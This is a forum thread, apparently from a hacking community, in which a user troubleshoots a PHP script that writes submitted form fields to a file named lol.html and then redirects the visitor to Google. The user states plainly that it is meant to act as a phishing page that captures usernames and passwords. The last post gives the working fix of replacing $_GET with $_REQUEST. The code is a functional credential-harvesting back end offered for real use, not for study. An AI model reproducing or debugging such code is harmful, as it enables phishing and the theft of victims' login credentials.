Login Register
The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


I am not able make a log of login sessions using php filter_list
Author
Message
I am not able make a log of login sessions using php #1
here is the php code it creates lol.html file but donot store username and password..
Quote:<?php
header ('Location: http://www.google.com');
$handle = fopen("lol.html", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
[Image: cooltext980231940.gif]

Reply

RE: I am not able make a log of login sessions using php #2
Explain what you want to know?

Reply

RE: I am not able make a log of login sessions using php #3
Bro i want to use this page to create a lol.html file on server...this file should contain the username and password entered by the client...
i mean it should perform actions like a phish ing page does.
[Image: cooltext980231940.gif]

Reply

RE: I am not able make a log of login sessions using php #4
Well have you made a form where they can enter the information?

Reply

RE: I am not able make a log of login sessions using php #5
yes i have....i found a mistake that is:
<form action="host.php" method="POST">
</form>
and in php i was using:
<?php
header(location: ../);
$handle=fopen("lol.html", "a");
foreach($_GET as $variable => $value);
{
fwrite($handle, "$variable");
fwrite($handle, " = ");
fwrite($handle, "$value");
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
?>
i replaced $_GET with $_REQUEST......and it's working fine now...
[Image: cooltext980231940.gif]

Reply







Users browsing this thread: